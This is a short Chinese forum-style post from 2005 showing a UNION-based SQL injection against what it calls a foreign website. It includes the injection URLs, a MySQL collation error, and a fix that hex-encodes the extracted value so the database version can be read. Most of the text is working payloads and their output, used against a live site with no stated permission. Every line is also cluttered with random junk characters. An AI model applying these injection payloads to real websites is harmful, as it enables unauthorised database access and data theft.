本文作者:SuperHei
% D0 l" c5 T) _- K文章性质:原创
% k+ N2 E- w7 O8 c) @$ U发布日期:2005-10-18
4 E p: X8 ?' S, u' a0 c$ H& F4 A' C测试个国外的站时:
, R4 O. a5 q, d3 i' F2 @# eurl:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
& }) F$ l1 c7 T/ E- L) F: }返回错误:" `$ T' G/ T' o+ H/ q
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
! y/ [4 u! R6 hMySQL Error No. 126$ w' r1 k+ B' O! G
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
4 X: C" s1 x4 N& |, i# L解决办法:转为其他编码如hex。- b" C Q& W: M+ r0 f# C. n3 H, r
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
; A, P! t. ^( J5 [: k+ A成功得到hex(version())的值为:
: f* \5 A, P. P" z0 b342E312E332D62657461
; ?: w6 ?3 H' @2 v% i! u" v, }2 Z回Mysql查询下得到:- z; j. d/ }$ x! q
mysql> select 0x342E312E332D62657461;
7 S- x" a2 s6 Y% [$ _' g+------------------------+& u! A9 A( G4 q5 O
| 0x342E312E332D62657461 |6 x, `& v5 v4 }* g' ~
+------------------------+
y8 |1 ~2 \( u, T| 4.1.3-beta |. ?+ @& W. C; I2 W+ W
+------------------------+% p8 |6 H5 e! H7 S0 Y- }6 M4 J& b
1 row in set (0.00 sec)
, o+ U! Z. L6 q7 ?; N' q7 ] l) v
|